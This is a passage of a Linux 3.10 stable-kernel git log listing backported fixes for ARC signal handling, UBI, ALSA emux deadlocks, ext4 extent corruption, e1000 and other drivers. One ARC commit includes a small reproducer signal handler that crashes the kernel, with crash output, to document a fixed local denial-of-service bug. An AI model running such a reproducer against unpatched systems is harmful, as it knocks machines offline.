(tmpres) { spin_unlock(&dlm->spinlock); >>>>>>>> race window, dlm_run_purge_list() may run and purge the lock resource spin_lock(&tmpres->spinlock); ... spin_unlock(&tmpres->spinlock); } } Signed-off-by: Junxiao Bi Cc: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0ccc31c414c3b04cc9cc13308766fa4e9cd41920 Author: Greg Kroah-Hartman Date: Wed May 13 05:15:52 2015 -0700 Linux 3.10.78 Signed-off-by: Pranav Vashi commit aa93692a166ca78629758bb775df52c0abfb0171 Author: Vineet Gupta Date: Thu Mar 26 11:14:41 2015 +0530 ARC: signal handling robustify commit e4140819dadc3624accac8294881bca8a3cba4ed upstream. A malicious signal handler / restorer can DOS the system by fudging the user regs saved on stack, causing weird things such as sigreturn returning to user mode PC but cpu state still being kernel mode.... Ensure that in sigreturn path status32 always has U bit; any other bogosity (gargbage PC etc) will be taken care of by normal user mode exceptions mechanisms. Reproducer signal handler: void handle_sig(int signo, siginfo_t *info, void *context) { ucontext_t *uc = context; struct user_regs_struct *regs = &(uc->uc_mcontext.regs); regs->scratch.status32 = 0; } Before the fix, kernel would go off to weeds like below: --------->8----------- [ARCLinux]$ ./signal-test Path: /signal-test CPU: 0 PID: 61 Comm: signal-test Not tainted 4.0.0-rc5+ #65 task: 8f177880 ti: 5ffe6000 task.ti: 8f15c000 [ECR ]: 0x00220200 => Invalid Write @ 0x00000010 by insn @ 0x00010698 [EFA ]: 0x00000010 [BLINK ]: 0x2007c1ee [ERET ]: 0x10698 [STAT32]: 0x00000000 : <-------- BTA: 0x00010680 SP: 0x5ffe7e48 FP: 0x00000000 LPS: 0x20003c6c LPE: 0x20003c70 LPC: 0x00000000 ... --------->8----------- Reported-by: Alexey Brodkin Signed-off-by: Vineet Gupta Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1452f1880058e87d45548abff269a4ce0f498f87 Author: hujianyang Date: Tue Dec 30 11:56:09 2014 +0800 UBI: fix soft lockup in ubi_check_volume() commit 9aa272b492e7551a9ee0e2c83c720ea013698485 upstream. Running mtd-utils/tests/ubi-tests/io_basic.c could cause soft lockup or watchdog reset. It is because *updatevol* will perform ubi_check_volume() after updating finish and this function will full scan the updated lebs if the volume is initialized as STATIC_VOLUME. This patch adds *cond_resched()* in the loop of lebs scan to avoid soft lockup. Helped by Richard Weinberger [ 2158.067096] INFO: rcu_sched self-detected stall on CPU { 1} (t=2101 jiffies g=1606 c=1605 q=56) [ 2158.172867] CPU: 1 PID: 2073 Comm: io_basic Tainted: G O 3.10.53 #21 [ 2158.172898] [] (unwind_backtrace+0x0/0x120) from [] (show_stack+0x10/0x14) [ 2158.172918] [] (show_stack+0x10/0x14) from [] (rcu_check_callbacks+0x1c0/0x660) [ 2158.172936] [] (rcu_check_callbacks+0x1c0/0x660) from [] (update_process_times+0x38/0x64) [ 2158.172953] [] (update_process_times+0x38/0x64) from [] (tick_sched_handle+0x54/0x60) [ 2158.172966] [] (tick_sched_handle+0x54/0x60) from [] (tick_sched_timer+0x44/0x74) [ 2158.172978] [] (tick_sched_timer+0x44/0x74) from [] (__run_hrtimer+0xc8/0x1b8) [ 2158.172992] [] (__run_hrtimer+0xc8/0x1b8) from [] (hrtimer_interrupt+0x128/0x2a4) [ 2158.173007] [] (hrtimer_interrupt+0x128/0x2a4) from [] (arch_timer_handler_virt+0x28/0x30) [ 2158.173022] [] (arch_timer_handler_virt+0x28/0x30) from [] (handle_percpu_devid_irq+0x9c/0x124) [ 2158.173036] [] (handle_percpu_devid_irq+0x9c/0x124) from [] (generic_handle_irq+0x20/0x30) [ 2158.173049] [] (generic_handle_irq+0x20/0x30) from [] (handle_IRQ+0x64/0x8c) [ 2158.173060] [] (handle_IRQ+0x64/0x8c) from [] (gic_handle_irq+0x3c/0x60) [ 2158.173074] [] (gic_handle_irq+0x3c/0x60) from [] (__irq_svc+0x40/0x50) [ 2158.173083] Exception stack(0xc4043c98 to 0xc4043ce0) [ 2158.173092] 3c80: c4043ce4 00000019 [ 2158.173102] 3ca0: 1f8a865f c050ad10 1f8a864c 00000031 c04b5970 0003ebce 00000000 f3550000 [ 2158.173113] 3cc0: bf00bc68 00000800 0003ebce c4043ce0 c0186d14 c0186cb8 80000013 ffffffff [ 2158.173130] [] (__irq_svc+0x40/0x50) from [] (read_current_timer+0x4/0x38) [ 2158.173145] [] (read_current_timer+0x4/0x38) from [<1f8a865f>] (0x1f8a865f) [ 2183.927097] BUG: soft lockup - CPU#1 stuck for 22s! [io_basic:2073] [ 2184.002229] Modules linked in: nandflash(O) [last unloaded: nandflash] Signed-off-by: Wang Kai Signed-off-by: hujianyang Signed-off-by: Richard Weinberger Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1ed09fab89ff74b5f06b7dfbc18a4d83dca12d89 Author: K. Y. Srinivasan Date: Thu Mar 19 08:11:34 2015 -0700 Drivers: hv: vmbus: Don't wait after requesting offers commit 73cffdb65e679b98893f484063462c045adcf212 upstream. Don't wait after sending request for offers to the host. This wait is unnecessary and simply adds 5 seconds to the boot time. Signed-off-by: K. Y. Srinivasan Cc: Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b25c44de3be5166dd5592bc43b9c00214ebdcebf Author: Sebastian Hesselbarth Date: Tue Feb 17 19:52:04 2015 +0100 ARM: dts: dove: Fix uart[23] reg property commit a74cd13b807029397f7232449df929bac11fb228 upstream. Fix Dove's register addresses of uart2 and uart3 nodes that seem to be broken since ages due to a copy-and-paste error. Signed-off-by: Sebastian Hesselbarth Acked-by: Gregory CLEMENT Signed-off-by: Gregory CLEMENT Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 780c859cbaae8cd6666036fe63a1f0b290697822 Author: Sudip Mukherjee Date: Tue Mar 24 16:29:32 2015 +0530 staging: panel: fix lcd type commit 2c20d92dad5db6440cfa88d811b69fd605240ce4 upstream. the lcd type as defined in the Kconfig is not matching in the code. as a result the rs, rw and en pins were getting interchanged. Kconfig defines the value of PANEL_LCD to be 1 if we select custom configuration but in the code LCD_TYPE_CUSTOM is defined as 5. my hardware is LCD_TYPE_CUSTOM, but the pins were assigned to it as pins of LCD_TYPE_OLD, and it was not working. Now values are corrected with referenece to the values defined in Kconfig and it is working. checked on JHD204A lcd with LCD_TYPE_CUSTOM configuration. Signed-off-by: Sudip Mukherjee Acked-by: Willy Tarreau [wt: backport to 3.10 and 3.14] Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 11f935c33573ff1fdc8df4b8f2638525d95a6350 Author: Andrzej Pietrasiewicz Date: Tue Mar 3 10:52:05 2015 +0100 usb: gadget: printer: enqueue printer's response for setup request commit eb132ccbdec5df46e29c9814adf76075ce83576b upstream. Function-specific setup requests should be handled in such a way, that apart from filling in the data buffer, the requests are also actually enqueued: if function-specific setup is called from composte_setup(), the "usb_ep_queue()" block of code in composite_setup() is skipped. The printer function lacks this part and it results in e.g. get device id requests failing: the host expects some response, the device prepares it but does not equeue it for sending to the host, so the host finally asserts timeout. This patch adds enqueueing the prepared responses. Fixes: 2e87edf49227: "usb: gadget: make g_printer use composite" Signed-off-by: Andrzej Pietrasiewicz Signed-off-by: Felipe Balbi [ported to stable 3.10 and 3.14] Signed-off-by: Andrzej Pietrasiewicz Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 083c064854d85351968b02238c318986180adf7c Author: Felipe Balbi Date: Fri Feb 13 14:57:54 2015 -0600 usb: host: oxu210hp: use new USB_RESUME_TIMEOUT commit 84c0d178eb9f3a3ae4d63dc97a440266cf17f7f5 upstream. Make sure we're using the new macro, so our resume signaling will always pass certification. Signed-off-by: Felipe Balbi Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f784bdb522a7d25b6502cabd5bb564d50095ec73 Author: Christoph Hellwig Date: Thu Apr 23 09:48:49 2015 +0200 3w-sas: fix command completion race commit 579d69bc1fd56d5af5761969aa529d1d1c188300 upstream. The 3w-sas driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Reported-by: Torsten Luettgert Tested-by: Bernd Kardatzki Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 434a561647d666fd42630b0d39dadef6530ac543 Author: Christoph Hellwig Date: Thu Apr 23 09:48:51 2015 +0200 3w-9xxx: fix command completion race commit 118c855b5623f3e2e6204f02623d88c09e0c34de upstream. The 3w-9xxx driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 25aac104566cca620e80c840d06d6c4b12dcdba0 Author: Christoph Hellwig Date: Thu Apr 23 09:48:50 2015 +0200 3w-xxxx: fix command completion race commit 9cd9554615cba14f0877cc9972a6537ad2bdde61 upstream. The 3w-xxxx driver needs to tear down the dma mappings before returning the command to the midlayer, as there is no guarantee the sglist and count are valid after that point. Also remove the dma mapping helpers which have another inherent race due to the request_id index. Signed-off-by: Christoph Hellwig Acked-by: Adam Radford Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 248d13ae40721da459f3fc07218ab667c773d5ba Author: Lukas Czerner Date: Sat May 2 21:36:55 2015 -0400 ext4: fix data corruption caused by unwritten and delayed extents commit d2dc317d564a46dfc683978a2e5a4f91434e9711 upstream. Currently it is possible to lose whole file system block worth of data when we hit the specific interaction with unwritten and delayed extents in status extent tree. The problem is that when we insert delayed extent into extent status tree the only way to get rid of it is when we write out delayed buffer. However there is a limitation in the extent status tree implementation so that when inserting unwritten extent should there be even a single delayed block the whole unwritten extent would be marked as delayed. At this point, there is no way to get rid of the delayed extents, because there are no delayed buffers to write out. So when a we write into said unwritten extent we will convert it to written, but it still remains delayed. When we try to write into that block later ext4_da_map_blocks() will set the buffer new and delayed and map it to invalid block which causes the rest of the block to be zeroed loosing already written data. For now we can fix this by simply not allowing to set delayed status on written extent in the extent status tree. Also add WARN_ON() to make sure that we notice if this happens in the future. This problem can be easily reproduced by running the following xfs_io. xfs_io -f -c "pwrite -S 0xaa 4096 2048" \ -c "falloc 0 131072" \ -c "pwrite -S 0xbb 65536 2048" \ -c "fsync" /mnt/test/fff echo 3 > /proc/sys/vm/drop_caches xfs_io -c "pwrite -S 0xdd 67584 2048" /mnt/test/fff This can be theoretically also reproduced by at random by running fsx, but it's not very reliable, though on machines with bigger page size (like ppc) this can be seen more often (especially xfstest generic/127) Signed-off-by: Lukas Czerner Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c15347a8f0a1f1b34982dc6d454a77dfa4be2665 Author: Ilya Dryomov Date: Sat Apr 25 15:56:15 2015 +0300 rbd: end I/O the entire obj_request on error commit 082a75dad84d79d1c15ea9e50f31cb4bb4fa7fd6 upstream. When we end I/O struct request with error, we need to pass obj_request->length as @nr_bytes so that the entire obj_request worth of bytes is completed. Otherwise block layer ends up confused and we trip on rbd_assert(more ^ (which == img_request->obj_request_count)); in rbd_img_obj_callback() due to more being true no matter what. We already do it in most cases but we are missing some, in particular those where we don't even get a chance to submit any obj_requests, due to an early -ENOMEM for example. A number of obj_request->xferred assignments seem to be redundant but I haven't touched any of obj_request->xferred stuff to keep this small and isolated. Cc: Alex Elder Reported-by: Shawn Edwards Reviewed-by: Sage Weil Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d6388ba209c02bd88f00b412559ba3ab1bb0d81 Author: Michal Simek Date: Tue Apr 14 12:03:09 2015 +0200 serial: of-serial: Remove device_type = "serial" registration commit 6befa9d883385c580369a2cc9e53fbf329771f6d upstream. Do not probe all serial drivers by of_serial.c which are using device_type = "serial"; property. Only drivers which have valid compatible strings listed in the driver should be probed. When PORT_UNKNOWN is setup probe will fail anyway. Arnd quotation about driver historical background: "when I wrote that driver initially, the idea was that it would get used as a stub to hook up all other serial drivers but after that, the common code learned to create platform devices from DT" This patch fix the problem with on the system with xilinx_uartps and 16550a where of_serial failed to register for xilinx_uartps and because of irq_dispose_mapping() removed irq_desc. Then when xilinx_uartps was asking for irq with request_irq() EINVAL is returned. Signed-off-by: Michal Simek Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2af782069e2f76daa6cd5b61176ff23dd7b397a9 Author: Takashi Iwai Date: Mon Apr 27 10:36:11 2015 +0200 ALSA: hda - Fix mute-LED fixed mode commit ee52e56e7b12834476cd0031c5986254ba1b6317 upstream. The mute-LED mode control has the fixed on/off states that are supposed to remain on/off regardless of the master switch. However, this doesn't work actually because the vmaster hook is called in the vmaster code itself. This patch fixes it by calling the hook indirectly after checking the mute LED mode. Reported-and-tested-by: Pali Rohár Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b741e87ccdac9cb681083c61b4112fb492088f3 Author: Peter Zubaj Date: Tue Apr 28 21:57:29 2015 +0200 ALSA: emu10k1: Emu10k2 32 bit DMA mode commit 7241ea558c6715501e777396b5fc312c372e11d9 upstream. Looks like audigy emu10k2 (probably emu10k1 - sb live too) support two modes for DMA. Second mode is useful for 64 bit os with more then 2 GB of ram (fixes problems with big soundfont loading) 1) 32MB from 2 GB address space using 8192 pages (used now as default) 2) 16MB from 4 GB address space using 4096 pages Mode is set using HCFG_EXPANDED_MEM flag in HCFG register. Also format of emu10k2 page table is then different. Signed-off-by: Peter Zubaj Tested-by: Takashi Iwai Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit adeaa6541e236498961cf4bfb50f381cf6cab57e Author: Takashi Iwai Date: Mon Apr 27 13:00:09 2015 +0200 ALSA: emu10k1: Fix card shortname string buffer overflow commit d02260824e2cad626fb2a9d62e27006d34b6dedc upstream. Some models provide too long string for the shortname that has 32bytes including the terminator, and it results in a non-terminated string exposed to the user-space. This isn't too critical, though, as the string is stopped at the succeeding longname string. This patch fixes such entries by dropping "SB" prefix (it's enough to fit within 32 bytes, so far). Meanwhile, it also changes strcpy() with strlcpy() to make sure that this kind of problem won't happen in future, too. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6c8078bc4851c7b1b26ff8d25950aedd1ba6d967 Author: Takashi Iwai Date: Tue Apr 28 17:11:44 2015 +0200 ALSA: emux: Fix mutex deadlock in OSS emulation commit 1c94e65c668f44d2c69ae7e7fc268ab3268fba3e upstream. The OSS emulation in synth-emux helper has a potential AB/BA deadlock at the simultaneous closing and opening: close -> snd_seq_release() -> sne_seq_free_client() -> snd_seq_delete_all_ports(): takes client->ports_mutex -> port_delete() -> snd_emux_unuse(): takes emux->register_mutex open -> snd_seq_oss_open() -> snd_emux_open_seq_oss(): takes emux->register_mutex -> snd_seq_event_port_attach() -> snd_seq_create_port(): takes client->ports_mutex This patch addresses the deadlock by reducing the rance taking emux->register_mutex in snd_emux_open_seq_oss(). The lock is needed for the refcount handling, so move it locally. The calls in emux_seq.c are already with the mutex, thus they are replaced with the version without mutex lock/unlock. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 300209a61c6c03c8e413c875a02d45946ce696b2 Author: Takashi Iwai Date: Mon Apr 27 14:50:39 2015 +0200 ALSA: emux: Fix mutex deadlock at unloading commit 07b0e5d49d227e3950cb13a3e8caf248ef2a310e upstream. The emux-synth driver has a possible AB/BA mutex deadlock at unloading the emu10k1 driver: snd_emux_free() -> snd_emux_detach_seq(): mutex_lock(&emu->register_mutex) -> snd_seq_delete_kernel_client() -> snd_seq_free_client(): mutex_lock(®ister_mutex) snd_seq_release() -> snd_seq_free_client(): mutex_lock(®ister_mutex) -> snd_seq_delete_all_ports() -> snd_emux_unuse(): mutex_lock(&emu->register_mutex) Basically snd_emux_detach_seq() doesn't need a protection of emu->register_mutex as it's already being unregistered. So, we can get rid of this for avoiding the deadlock. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6de55b4e1cded707c0aa5c504b54ab7385f7653 Author: Greg Kroah-Hartman Date: Wed May 6 21:56:44 2015 +0200 Linux 3.10.77 Signed-off-by: Pranav Vashi commit 050a392a24f8ac43448ef6b461f51f4c6359ff97 Author: Guenter Roeck Date: Mon May 4 21:42:41 2015 -0700 s390: Fix build error s390 images fail to build in 3.10 with arch/s390/kernel/suspend.c: In function 'pfn_is_nosave': arch/s390/kernel/suspend.c:147:10: error: 'ipl_info' undeclared arch/s390/kernel/suspend.c:147:27: error: 'IPL_TYPE_NSS' undeclared due to a missing include file. Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ed6e06308ad4d87c2e694bba372693ef1f1e7fe0 Author: Geert Uytterhoeven Date: Thu Oct 9 15:30:30 2014 -0700 nosave: consolidate __nosave_{begin,end} in commit 7f8998c7aef3ac9c5f3f2943e083dfa6302e90d0 upstream. The different architectures used their own (and different) declarations: extern __visible const void __nosave_begin, __nosave_end; extern const void __nosave_begin, __nosave_end; extern long __nosave_begin, __nosave_end; Consolidate them using the first variant in . Signed-off-by: Geert Uytterhoeven Cc: Russell King Cc: Ralf Baechle Cc: Benjamin Herrenschmidt Cc: Martin Schwidefsky Cc: "David S. Miller" Cc: Guan Xuetao Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6a9e6d772c5773b187e838996f0ec9ec1594aa4 Author: Dan Carpenter Date: Thu Apr 16 12:48:35 2015 -0700 memstick: mspro_block: add missing curly braces commit 13f6b191aaa11c7fd718d35a0c565f3c16bc1d99 upstream. Using the indenting we can see the curly braces were obviously intended. This is a static checker fix, but my guess is that we don't read enough bytes, because we don't calculate "t_len" correctly. Fixes: f1d82698029b ('memstick: use fully asynchronous request processing') Signed-off-by: Dan Carpenter Cc: Alex Dubov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 974ee5b209fbe75eefbba65bad15771396a1d72d Author: Nishanth Menon Date: Sat Mar 7 03:39:05 2015 -0600 C6x: time: Ensure consistency in __init commit f4831605f2dacd12730fe73961c77253cc2ea425 upstream. time_init invokes timer64_init (which is __init annotation) since all of these are invoked at init time, lets maintain consistency by ensuring time_init is marked appropriately as well. This fixes the following warning with CONFIG_DEBUG_SECTION_MISMATCH=y WARNING: vmlinux.o(.text+0x3bfc): Section mismatch in reference from the function time_init() to the function .init.text:timer64_init() The function time_init() references the function __init timer64_init(). This is often because time_init lacks a __init annotation or the annotation of timer64_init is wrong. Fixes: 546a39546c64 ("C6X: time management") Signed-off-by: Nishanth Menon Signed-off-by: Mark Salter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d862176d1788766289f516d280b656d9d0966338 Author: Nicolas Iooss Date: Fri Mar 13 15:17:14 2015 +0800 wl18xx: show rx_frames_per_rates as an array as it really is commit a3fa71c40f1853d0c27e8f5bc01a722a705d9682 upstream. In struct wl18xx_acx_rx_rate_stat, rx_frames_per_rates field is an array, not a number. This means WL18XX_DEBUGFS_FWSTATS_FILE can't be used to display this field in debugfs (it would display a pointer, not the actual data). Use WL18XX_DEBUGFS_FWSTATS_FILE_ARRAY instead. This bug has been found by adding a __printf attribute to wl1271_format_buffer. gcc complained about "format '%u' expects argument of type 'unsigned int', but argument 5 has type 'u32 *'". Fixes: c5d94169e818 ("wl18xx: use new fw stats structures") Signed-off-by: Nicolas Iooss Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 029509ff716f005e320484e1a8af0881593d580a Author: mancha security Date: Wed Mar 18 18:47:25 2015 +0100 lib: memzero_explicit: use barrier instead of OPTIMIZER_HIDE_VAR commit 0b053c9518292705736329a8fe20ef4686ffc8e9 upstream. OPTIMIZER_HIDE_VAR(), as defined when using gcc, is insufficient to ensure protection from dead store optimization. For the random driver and crypto drivers, calls are emitted ... $ gdb vmlinux (gdb) disassemble memzero_explicit Dump of assembler code for function memzero_explicit: 0xffffffff813a18b0 <+0>: push %rbp 0xffffffff813a18b1 <+1>: mov %rsi,%rdx 0xffffffff813a18b4 <+4>: xor %esi,%esi 0xffffffff813a18b6 <+6>: mov %rsp,%rbp 0xffffffff813a18b9 <+9>: callq 0xffffffff813a7120 0xffffffff813a18be <+14>: pop %rbp 0xffffffff813a18bf <+15>: retq End of assembler dump. (gdb) disassemble extract_entropy [...] 0xffffffff814a5009 <+313>: mov %r12,%rdi 0xffffffff814a500c <+316>: mov $0xa,%esi 0xffffffff814a5011 <+321>: callq 0xffffffff813a18b0 0xffffffff814a5016 <+326>: mov -0x48(%rbp),%rax [...] ... but in case in future we might use facilities such as LTO, then OPTIMIZER_HIDE_VAR() is not sufficient to protect gcc from a possible eviction of the memset(). We have to use a compiler barrier instead. Minimal test example when we assume memzero_explicit() would *not* be a call, but would have been *inlined* instead: static inline void memzero_explicit(void *s, size_t count) { memset(s, 0, count); } int main(void) { char buff[20]; snprintf(buff, sizeof(buff) - 1, "test"); printf("%s", buff); memzero_explicit(buff, sizeof(buff)); return 0; } With := OPTIMIZER_HIDE_VAR(): (gdb) disassemble main Dump of assembler code for function main: [...] 0x0000000000400464 <+36>: callq 0x400410 0x0000000000400469 <+41>: xor %eax,%eax 0x000000000040046b <+43>: add $0x28,%rsp 0x000000000040046f <+47>: retq End of assembler dump. With := barrier(): (gdb) disassemble main Dump of assembler code for function main: [...] 0x0000000000400464 <+36>: callq 0x400410 0x0000000000400469 <+41>: movq $0x0,(%rsp) 0x0000000000400471 <+49>: movq $0x0,0x8(%rsp) 0x000000000040047a <+58>: movl $0x0,0x10(%rsp) 0x0000000000400482 <+66>: xor %eax,%eax 0x0000000000400484 <+68>: add $0x28,%rsp 0x0000000000400488 <+72>: retq End of assembler dump. As can be seen, movq, movq, movl are being emitted inlined via memset(). Reference: http://thread.gmane.org/gmane.linux.kernel.cryptoapi/13764/ Fixes: d4c5efdb9777 ("random: add and use memzero_explicit() for clearing data") Cc: Theodore Ts'o Signed-off-by: mancha security Signed-off-by: Daniel Borkmann Acked-by: Hannes Frederic Sowa Acked-by: Stephan Mueller Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68a70c15e04b54432c46450a17cb7e5b21ea45dd Author: Sabrina Dubroca Date: Thu Feb 26 05:35:41 2015 +0000 e1000: add dummy allocator to fix race condition between mtu change and netpoll commit 08e8331654d1d7b2c58045e549005bc356aa7810 upstream. There is a race condition between e1000_change_mtu's cleanups and netpoll, when we change the MTU across jumbo size: Changing MTU frees all the rx buffers: e1000_change_mtu -> e1000_down -> e1000_clean_all_rx_rings -> e1000_clean_rx_ring Then, close to the end of e1000_change_mtu: pr_info -> ... -> netpoll_poll_dev -> e1000_clean -> e1000_clean_rx_irq -> e1000_alloc_rx_buffers -> e1000_alloc_frag And when we come back to do the rest of the MTU change: e1000_up -> e1000_configure -> e1000_configure_rx -> e1000_alloc_jumbo_rx_buffers alloc_jumbo finds the buffers already != NULL, since data (shared with page in e1000_rx_buffer->rxbuf) has been re-alloc'd, but it's garbage, or at least not what is expected when in jumbo state. This results in an unusable adapter (packets don't get through), and a NULL pointer dereference on the next call to e1000_clean_rx_ring (other mtu change, link down, shutdown): BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] put_compound_page+0x7e/0x330 [...] Call Trace: [] put_page+0x55/0x60 [] e1000_clean_rx_ring+0x134/0x200 [] e1000_clean_all_rx_rings+0x45/0x60 [] e1000_down+0x1c0/0x1d0 [] ? deactivate_slab+0x7f0/0x840 [] e1000_change_mtu+0xdc/0x170 [] dev_set_mtu+0xa0/0x140 [] do_setlink+0x218/0xac0 [] ? nla_parse+0xb9/0x120 [] rtnl_newlink+0x6d0/0x890 [] ? kvm_clock_read+0x20/0x40 [] ? sched_clock_cpu+0xa8/0x100 [] rtnetlink_rcv_msg+0x92/0x260 By setting the allocator to a dummy version, netpoll can't mess up our rx buffers. The allocator is set back to a sane value in e1000_configure_rx. Fixes: edbbb3ca1077 ("e1000: implement jumbo receive with partial descriptors") Signed-off-by: Sabrina Dubroca Tested-by: Aaron Brown Signed-off-by: Jeff Kirsher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a9ef2076846d6eba75bde4345097413aceb3aa7e Author: Calvin Owens Date: Tue Jan 13 13:16:18 2015 -0800 ksoftirqd: Enable IRQs and call cond_resched() before poking RCU commit 28423ad283d5348793b0c45cc9b1af058e776fd6 upstream. While debugging an issue with excessive softirq usage, I encountered the following note in commit 3e339b5dae24a706 ("softirq: Use hotplug thread infrastructure"): [ paulmck: Call rcu_note_context_switch() with interrupts enabled. ] ...but despite this note, the patch still calls RCU with IRQs disabled. This seemingly innocuous change caused a significant regression in softirq CPU usage on the sending side of a large TCP transfer (~1 GB/s): when introducing 0.01% packet loss, the softirq usage would jump to around 25%, spiking as high as 50%. Before the change, the usage would never exceed 5%. Moving the call to rcu_note_context_switch() after the cond_sched() call, as it was originally before the hotplug patch, completely eliminated this problem. Signed-off-by: Calvin Owens Signed-off-by: Paul E. McKenney Signed-off-by: Mike Galbraith Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d7f73fe828e6e3b791de5fe7b5b3c3f95fbf6007 Author: Al Viro Date: Fri Apr 24 15:47:07 2015 -0400 RCU pathwalk breakage when running into a symlink overmounting something commit 3cab989afd8d8d1bc3d99fef0e7ed87c31e7b647 upstream. Calling unlazy_walk() in walk_component() and do_last() when we find a symlink that needs to be followed doesn't acquire a reference to vfsmount. That's fine when the symlink is on the same vfsmount as the parent directory (which is almost always the case), but it's not always true - one _can_ manage to bind a symlink on top of something. And in such cases we end up with excessive mntput(). Signed-off-by: Al Viro Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8666478ca5cad3540f586d64fea7bdaf9aebd6bf Author: Dmitry Torokhov Date: Tue Apr 21 09:49:11 2015 -0700 drm/i915: cope with large i2c transfers commit 9535c4757b881e06fae72a857485ad57c422b8d2 upstream. The hardware, according to the specs, is limited to 256 byte transfers, and current driver has no protections in case users attempt to do larger transfers. The code will just stomp over status register and mayhem ensues. Let's split larger transfers into digestable chunks. Doing this allows Atmel MXT driver on Pixel 1 function properly (it hasn't since commit 9d8dc3e529a19e427fd379118acd132520935c5d "Input: atmel_mxt_ts - implement T44 message handling" which tries to consume multiple touchscreen/touchpad reports in a single transaction). Reviewed-by: Chris Wilson Signed-off-by: Dmitry Torokhov Signed-off-by: Jani Nikula Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a591fdb6119f641c270bb83527c2afc47dc99429 Author: Alex Deucher Date: Tue Feb 24 11:29:21 2015 -0500 drm/radeon: fix doublescan modes (v2) commit fd99a0943ffaa0320ea4f69d09ed188f950c0432 upstream. Use the correct flags for atom. v2: handle DRM_MODE_FLAG_DBLCLK Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d12ec9dd08dd3c1937bc8fed1c7c6a9ef2fda4ae Author: Mark Brown Date: Wed Apr 15 19:18:39 2015 +0100 i2c: core: Export bus recovery functions commit c1c21f4e60ed4523292f1a89ff45a208bddd3849 upstream. Current -next fails to link an ARM allmodconfig because drivers that use the core recovery functions can be built as modules but those functions are not exported: ERROR: "i2c_generic_gpio_recovery" [drivers/i2c/busses/i2c-davinci.ko] undefined! ERROR: "i2c_generic_scl_recovery" [drivers/i2c/busses/i2c-davinci.ko] undefined! ERROR: "i2c_recover_bus" [drivers/i2c/busses/i2c-davinci.ko] undefined! Add exports to fix this. Fixes: 5f9296ba21b3c (i2c: Add bus recovery infrastructure) Signed-off-by: Mark Brown Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 389278c7975e72d91ffa254d0b577ff0b595f191 Author: Erez Shitrit Date: Thu Apr 2 13:39:05 2015 +0300 IB/mlx4: Fix WQE LSO segment calculation commit ca9b590caa17bcbbea119594992666e96cde9c2f upstream. The current code decreases from the mss size (which is the gso_size from the kernel skb) the size of the packet headers. It shouldn't do that because the mss that comes from the stack (e.g IPoIB) includes only the tcp payload without the headers. The result is indication to the HW that each packet that the HW sends is smaller than what it could be, and too many packets will be sent for big messages. An easy way to demonstrate one more aspect of the problem is by configuring the ipoib mtu to be less than 2*hlen (2*56) and then run app sending big TCP messages. This will tell the HW to send packets with giant (negative value which under unsigned arithmetics becomes a huge positive one) length and the QP moves to SQE state. Fixes: b832be1e4007 ('IB/mlx4: Add IPoIB LSO support') Reported-by: Matthew Finlay Signed-off-by: Erez Shitrit Signed-off-by: Or Gerlitz Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 792b88a000c71b2215cc65f5703190c645f9e353 Author: Yann Droneaud Date: Mon Apr 13 14:56:23 2015 +0200 IB/core: 